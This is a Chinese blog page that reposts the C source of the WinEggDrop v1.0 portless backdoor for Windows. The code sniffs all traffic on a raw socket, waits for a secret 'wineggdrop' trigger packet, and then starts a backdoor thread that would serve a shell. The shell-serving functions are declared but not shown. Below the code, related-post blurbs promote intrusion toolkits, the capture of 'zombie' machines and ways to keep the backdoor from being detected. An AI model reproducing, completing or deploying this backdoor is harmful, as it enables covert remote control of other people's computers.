WinEggDrop后门v1.0源代码

WinEggDrop Shell使用方法动画教程 WinEggDrop Shell使用方法动画教程,只有动画演示教程。 立即下载

//**********************************************************************
// Version: V1.0
// Coder: WinEggDrop
// Date Release: NULL
// Purpose: To Demonstrate Some Portless Backdoor Technique
// Test PlatForm: Win 2K Pro And Server SP4
// Compiled On: LCC 3.0,May Compile On VC++ 6.0(Not Test Yet)
//**********************************************************************

#include <windows.h>
#include <stdio.h>
#include <winsock2.h>

// Some Structures To Define
#define  IP_HDRINCL        2
#define SIO_RCVALL         _WSAIOW(IOC_VENDOR,1)
#define MAX_PACK_LEN    65535
#define MAX_ADDR_LEN     16
#define MAX_HOSTNAME_LAN    255

typedef struct _iphdr
{
   unsigned char  h_lenver;
   unsigned char  tos;
   unsigned short total_len;
   unsigned short ident;
   unsigned short frag_and_flags;
   unsigned char  ttl;
   unsigned char  proto;
   unsigned short checksum;
   unsigned int   sourceIP;
   unsigned int   destIP;
}IP_HEADER;

typedef struct _tcphdr
{
   USHORT th_sport;
   USHORT th_dport;
   unsigned int  th_seq;
   unsigned int  th_ack;
   unsigned char th_lenres;
   unsigned char th_flag;
   USHORT th_win;
   USHORT th_sum;
   USHORT th_urp;
}TCP_HEADER;
// End Of Structure

// Global Variable
char SourceIPAddress[MAX_ADDR_LEN];    // Hold The Source IP(This Can Be Used To Do Reverse Connection)
int  BackDoorPort = 0;     // The Port Back Door Will Bind

// Function ProtoType Declaration
//------------------------------------------------------------------------------------------------------
BOOL   InitSocket();
BOOL   DoSniffing();
BOOL   DecodeIPPack(const char *Buffer,const int BufferSize);
BOOL   DecodeTCPPack(const char * TCPBuffer,const int BufferSize);
BOOL   IsWin2KOrAbove();
DWORD  WINAPI StartBackDoor(LPVOID Para);
BOOL   GetABackDoorShell(const SOCKET ListenSocket);
BOOL     SendSocket(const SOCKET ClientSocket,const char *Message);
unsigned int ReceiveMessageFromSocket(const SOCKET ClientSocket,char *Buffer,const int BufferSize);
//------------------------------------------------------------------------------------------------------
// End Of Fucntion ProtoType Declaration

// Main Function
int main(int argc,char *argv[])
{
 if (!IsWin2KOrAbove())    // This System Running This Program Is Not Win 2K Or Above
 {
    printf("The Program Must Run Under Win 2k Or Above OS/n");    // Display This Message
    return -1;    // Quit The Program
 }

 if (argc == 2)      // We Get Argument
    BackDoorPort = atoi(argv[1]);      // Argument One Is The Back Door's Port
 else    // No Argument
    BackDoorPort = 1982;      // Back Door's Port Will Be Defined On 1982

 if (!InitSocket())     // Fail To Initize Socket
 {
    printf("Fail To Start Up Winsock/n");    // Display Error Message
    return -1;    // Quit The Program
 }
 DoSniffing();    // Do Sniffing
 return 0;     // Quit The Program
}// End Of Main Function

//-------------------------------------------------------------------------
// Purpose: To Initize Socket
// Return Type: Boolean
// Parameters:  NULL
// This Is Too Simple,I Won't Comment It
//-------------------------------------------------------------------------
BOOL InitSocket()
{
 WSADATA data;
 WORD ver;

 ver = MAKEWORD(2,2);
 if (WSAStartup( ver, &data )!= 0 )
 {
     return FALSE;
 }
 return TRUE;
}// End Of InitSocket Function

//-------------------------------------------------------------------------
// Purpose: To Do None-Driver Sniffing
// Return Type: Boolean
// Parameters:  NULL
//-------------------------------------------------------------------------
BOOL DoSniffing()
{
 int Length=0;    // Variable To Hold The Receive Buffer Length
 char RecvBuf[MAX_PACK_LEN] = {0};     // Receive Buffer
 SOCKET SocketRaw = INVALID_SOCKET;    // Raw Socket

 SocketRaw = socket(AF_INET , SOCK_RAW , IPPROTO_IP);    // Create A Raw Socket
 if (SocketRaw == INVALID_SOCKET)      // Fail To Create A Raw Socket
 {
    printf("Fail To Create A Raw Socket/n");    // Display Error Message
    return FALSE;    // Return False
 }

 char FAR name[MAX_HOSTNAME_LAN];

 if (gethostname(name, MAX_HOSTNAME_LAN) == SOCKET_ERROR)      // Fail To Get The Host Name
 {
    printf("Fail To Get Host Name/n");    // Display Error Message
    closesocket(SocketRaw);      // Close The Raw Socket Created
    return FALSE;    // Return False
 }

 // The Below Is The NIC Stuff
 struct hostent FAR * pHostent;
 pHostent = (struct hostent * )malloc(sizeof(struct hostent));    // Allocate Hostent Buffer
 pHostent = gethostbyname(name);
 SOCKADDR_IN sa;
 sa.sin_family = AF_INET;     // That's Internet Related
 sa.sin_port = htons(0);      // Any Port Avariable On The OS
 if (pHostent->h_addr_list[0] != 0)    // We Only Check The First NIC
 {
    memcpy(&sa.sin_addr.S_un.S_addr, pHostent->h_addr_list[0], pHostent->h_length);    // We Use The First NIC As The Sniffing Subject
 }
 else    // Well,The First NIC Is Not Valid
 {
    printf("Get Host By Name Fails/n");      // Display Error Message
    free(pHostent);     // Free The Hostent Buffer
    closesocket(SocketRaw);
    return FALSE;    // Return FALSE;
 }
 free(pHostent);     // Free The Hostent Buffer

 if (bind(SocketRaw, (PSOCKADDR)&sa, sizeof(sa)) == SOCKET_ERROR)    // Bind The Raw Socket On The First NIC,But Fails
 {
    printf("Fail To Bind/n");    // Display Error Message
    closesocket(SocketRaw);      // Close The Raw Socket
    return FALSE;    // Return False
 }

 // Forget About The Below A Few Lines,They Are Just A Static Routine To Do The None_Driver Sniffing(Some Sort Of Must-Have Codes)
 DWORD dwBufferLen[10] ;
 DWORD dwBufferInLen = 1 ;
 DWORD dwBytesReturned = 0 ;

 if (WSAIoctl(SocketRaw, SIO_RCVALL,&dwBufferInLen, sizeof(dwBufferInLen),&dwBufferLen, sizeof(dwBufferLen),&dwBytesReturned , NULL , NULL) == SOCKET_ERROR)
 {
    closesocket(SocketRaw);
    return FALSE;
 }

 while(TRUE)      // Sniffing Starts Here With Forever Loop
 {
    memset(RecvBuf, 0, sizeof(RecvBuf));     // Reset The Receive Buffer
     Length = recv(SocketRaw, RecvBuf, sizeof(RecvBuf), 0);    // Try To Receive Data
    if (Length == SOCKET_ERROR)     // Get Error As Receiving Data
    {
       printf("Fail To Receive Data/n");     // Display Error Message
       break;     // Leave The Loop
    }
    if (DecodeIPPack(RecvBuf,Length))     // Decode The Buffer Received,And The Active Code Is Found
    {
       printf("Bingo,The BackDoor Is Activated On Port %d/n",BackDoorPort);      //We Are Going To Activate The BackDoor
       DWORD dwThreadID;
       HANDLE BackDoorThread = CreateThread(NULL,0,&StartBackDoor,NULL,0,&dwThreadID);    // Create The Back Door Thread
       WaitForSingleObject(BackDoorThread,INFINITE);     // Wait Until The Back Door Ends
    }
 }

 closesocket(SocketRaw);      // Close The Raw Socket
 return TRUE;     // Return
}// End Of DoSniffing Function

//-------------------------------------------------------------------------
// Purpose: To Decode The IP Packer
// Return Type: Boolean
// Parameters:  1.const char *Buffer   -->The Received Buffer
//              2.Const int BufferSize -->The Received Buffer Size
//-------------------------------------------------------------------------
BOOL DecodeIPPack(const char *Buffer,const int BufferSize)
{
 IP_HEADER *pIpheader;     // IP Header
 SOCKADDR_IN saSource, saDest;
 pIpheader = (IP_HEADER *)Buffer;      // Transfer The Buffer Into IP Header Form
 int Protocol = pIpheader->proto;      // Get The Protocol
 if ((Protocol != IPPROTO_TCP))     // Not TCP Protocol
 {
    return FALSE;    // Return False Since We Only Interest In TCP Protocol
 }

 saSource.sin_addr.s_addr = pIpheader->sourceIP;
 strncpy(SourceIPAddress, inet_ntoa(saSource.sin_addr), MAX_ADDR_LEN);     // Get The Source IP(Important For Doing Reverse Connection)

 int IPLength = sizeof(unsigned long) * (pIpheader->h_lenver & 0xf);    // Get The IP Length
 return DecodeTCPPack(Buffer+IPLength, BufferSize);      // Decode TCP Packer
}// End Of DecodeIPPack Function

//-------------------------------------------------------------------------
// Purpose: To Decode The TCP Packer
// Return Type: Boolean
// Parameters:  1.const char *TCPBuffer  -->The TCP Buffer
//              2.Const int BufferSize   -->The TCP Buffer Size
//-------------------------------------------------------------------------
BOOL DecodeTCPPack(const char * TCPBuffer,const int BufferSize)
{
 TCP_HEADER * pTcpHeader;     // TCP Header
 int iSourcePort,iDestPort;      // Source Port And DestPort

 pTcpHeader = (TCP_HEADER * )TCPBuffer;      // Transfer The Buffer Into TCP Header Form
 int TcpHeaderLen =  pTcpHeader->th_lenres>>4;     // Get The TCP Leader Length
 TcpHeaderLen *= sizeof(unsigned long);
 char * TcpData=TCPBuffer+TcpHeaderLen;      // Get The TCP Data

 iSourcePort = ntohs(pTcpHeader->th_sport);     // Get The Source Port
 iDestPort = ntohs(pTcpHeader->th_dport);    // Get The Destination Port
 if (strstr(TcpData,"wineggdrop")!=NULL)     // If The TCP Data Contains A Word "wineggdrop"(The Active Code),Then Bingo
 {
    printf("%s:%d-->Local:%d/r/n",SourceIPAddress,iSourcePort,iDestPort);     // Display A Message
    return TRUE;     // Return TRUE(The Back Door Will Be Activated Soon)
 }
 return FALSE;    // We Didn't Receive An Active Code,Return False
}// End Of DecodeTCPPack Function
[code]

纯正无毒无公害的S.Exe,S扫描器原版 纯正无毒无公害的S.Exe,S扫描器原版。DOS界面,一般的S扫描器都是给他加了个外壳。我也是在学易语言这一节课时,找到的资源! 立即下载

相关推荐

Tiny HTTP Proxy V1.0 By WinEggDrop

很简单的一个HTTP代理程序,功能不多,但程序非常小型.代理支持Get,Post和Connect三种Method. 由于是支持Connect Method,所以可以在新版的OICQ中做成HTTP代理连接,可以限制连接者的IP段. 在oicq,msn,mirc中测试过,都可以使用这个程序做的http代理做代理连接.

网络安全之后门程序

如果我们针对这些动作进行分析,则“开机时自动连上微软网站”的动作就是后门程序特性中的“潜伏”,而“将电脑现况报告”的动作是“搜集信息”。总体来讲,Wineggdrop shell是后门程序中很出彩的一个,它经过作者几次大规模的修改和升级,已经趋于稳定,功能的强大当然没得说,但是由于功能太强大,被查杀和怀疑是难以避免的,所以很多人在使用Wineggdrop shell一段时间后就发现肉鸡飞了,其实是很正常的事,我你出不用气馁,其实用很简单的方法就可以很好地提高它的隐蔽性,下文将有说明。

weixin_54048131的博客 1720

一篇文章快速上手python socket编程,还能自己写后门

socket 网络编程 之前在编写四层发现的代码时都是使用TCP/UDP协议, 但是看了很多的代码都是用socket来完成的,所以就 来学习一下socket 什么是socket 网络中的两台主机之间进行通信,本质上是主机中所 运行的进程之间的通信,两个进程如果需要进行通信 ,最基本的前提是每一个进程要有一个唯一的标识。 在本地进程通信中可以使用PID来唯一标识一个程, 但PID在 本地是唯一,可以用 IP地+ 协议+端口号 来组成唯一标识的网络进程,这就是socket 无论使用何种网络协议,最本质上都是在进行数据 的收发,发和收,这两个动作就是socket处理数据 的主要

让肉鸡难逃五指山---精品后门程序及思路分板

什么是后门程序后门程序又称特洛伊木马,其用途在于潜伏在电脑中,从事搜集信息或便于黑客进入的动作。后程序和电脑病毒最大的差别,在于后门程序不一定有自我复制的动作,也就是后门程序不一定会“感染”其他电脑。后门是一种登录系统的方法,它不仅绕过系统已有的安全设置,而且还能挫败系统上各种增强的安全设置。后门是一种登录系统的方法,它不仅绕过系统已有的安全设置,而且还能挫败系统上各种增强的安全设置。后门包括从简

FreeXploiT 2690

WinEggDrop v1.0 源代码

//**********************************************************************// Version: V1.0// Coder: WinEggDrop// Date Release: NULL// Purpose: To Demonstrate Some Portless Backdoor Technique// Test Plat

1430

struts2 multifile upload

Struts2 也可以很方便地实现多文件上传。          在输入表单域增加多个文件域: multifileupload.jsp &lt;%@ page language="java" contentType="text/html; charset=UTF-8"%&gt; &lt;%@ taglib uri="/struts-tags" prefix="s" %&gt; &l

bluelzx的专栏 197

struts2 multifile upload 多文件上传

Struts2 也可以很方便地实现多文件上传。 在输入表单域增加多个文件域: multifileupload.jsp Html代码 &lt;%@pagelanguage="java"contentType="text/html;charset=UTF-8"%&gt; &lt;%@tagliburi="/struts-tags"prefix="s"%&gt;

www.v5qq.com的技术博客 89

Win2000 入侵工具集v1.0

流光 netxeyes.com x-san xfocus.net hscan 扫描器 supenscan nmap x-way twwwscan 命令行下的cgi扫描器 scanipc ipc扫描器 winshell wollf xfocus.net wineggdropshell 网络神偷 blackice 网络防火墙 cleaniislog 清理iis日志记录 clearlog 清理iis和f

3055

古老的代码,但是绝对实用 一个小后门 WinEggDrop

//********************************************************************** // Version: V1.0 // Coder: WinEggDrop // Date Release: NULL // Purpose: To Demonstrate Some Portless Backdoor Technique // Test

Yatere的天平秤 2315

网络安全黑客常用工具

网络安全黑客常用工具    文章来源: http://blog.caosee.com/trackback.asp?tbID=17网络安全黑客常用工具  常用工具tskill.exe  能察看和杀死系统隐藏进程的工具,和pslist一样不过支持win98  sysinfo.exe  察看系统信息的命令行工具  upx1.90.rar  鼎鼎大名的upx压缩工具1.90版  T-PsKit.r

lipps的专栏 4141

推荐 All In One(AIO) V1.0

 推荐 All In One(AIO) V1.0All In One(AIO) V1.0 Build 06/10/2006 By WinEggDrop(www.ph4nt0m.org)这是一个将很多小工具功能集成一体的一个"工具".(如果你使用的是Build 04/01/2006版本,那版本中的syn扫描因编译时原因有些问题,请更新为Build 06/10/2006版本)功能:1.

HeiTaoJieKe的专栏 1154

[端口扫描]S扫描器跨网段扫描

最近看了下端口扫描,用了几款扫描器,nmap啊,x-sacn等。之前很少关注安全方面的东西,所以也比较菜。 其中有一款叫做 "S扫描器"的,扫描速度非常快,可以大网段的扫描,几十万个IP在机器和网络不错的情况下也只要几分钟就能扫完。 所以很多人用它来抓鸡。 具体的可以参考 360百科:http://baike.so.com/doc/5503821.html 下载的话大家可以去百度搜 我这里

orangleliu 笔记本 1万+

stunnel使用详解

http://www.stunnel.org/faq/args.htmlhttp://www.colasoft.com.cn/support/monitor_stunnel.php科来网络分析系统与stunnel结合使用科来网络分析系统是一款强大的网络检测分析工具,可对网络中未加密的数据传输进行检测分析并实时显示分析结果,包括用户的邮件收发、Web访问以及各种网络登录等操作。所以,未经加密的数据传

FreeXploiT 1万+

FreeXploiT 成立三年感言!

 04年成立的,和一个朋友,现在那个朋友不知所踪了(他叫菜菜,很早就玩汇编了)后来的两年基本是我一个人更新里面的blog我这个算是最早的安全聚合blog吧? 暗礁的也挺早 不过是团队形式的 鬼仔的05年 neeao的04.10.26我的04.10.15那时候就是想弄点资料自己收藏着看看 ,当然也有很长远的目标 就是想做一个网站 先拿blog练练手一练就是三年啊 哈。。blo

FreeXploiT 8480

万能上传击溃ASP/PHP/JSP脚本系统

 文/图 勇哥儿本文已发表在黑客x档案,转载请注明 自从动网7拉开上传漏洞序幕后,各种系统的上传漏洞接踵而来!它们的漏洞原理基本都差不多,利用方法上有略微的差异,简言之可以归纳为几步:先抓包,然后修改文件类型,再在上传路径后加上空格,用十六进制编辑器把空格改成00,最后用NC提交。当然最好还是找一个具体的UpFile文件来自己分析一下,这样有助于提高对漏洞的理解和记忆!本文没有太高深的技术,只不过

FreeXploiT 8069

CMD记录器改良版

 文章作者:a11yesno 信息来源:邪恶八进制信息安全团队(www.eviloctal.com)改的不是很良 勉强可用 或许应该弄多一点容错代码 体力活啊。。安装 把代码保存为cmd.bat 放置system32下 把cmd.exe copy为cmd.gif 注册表 添加 HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/Curren

FreeXploiT 6804
上一篇: --------溢出植入型木马(后门)的原型实现 作者:FLASHSKY(原创)
下一篇: 对Win XP进行安全分析和配置
freexploit
博客等级 码龄22年 315粉丝 778原创
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值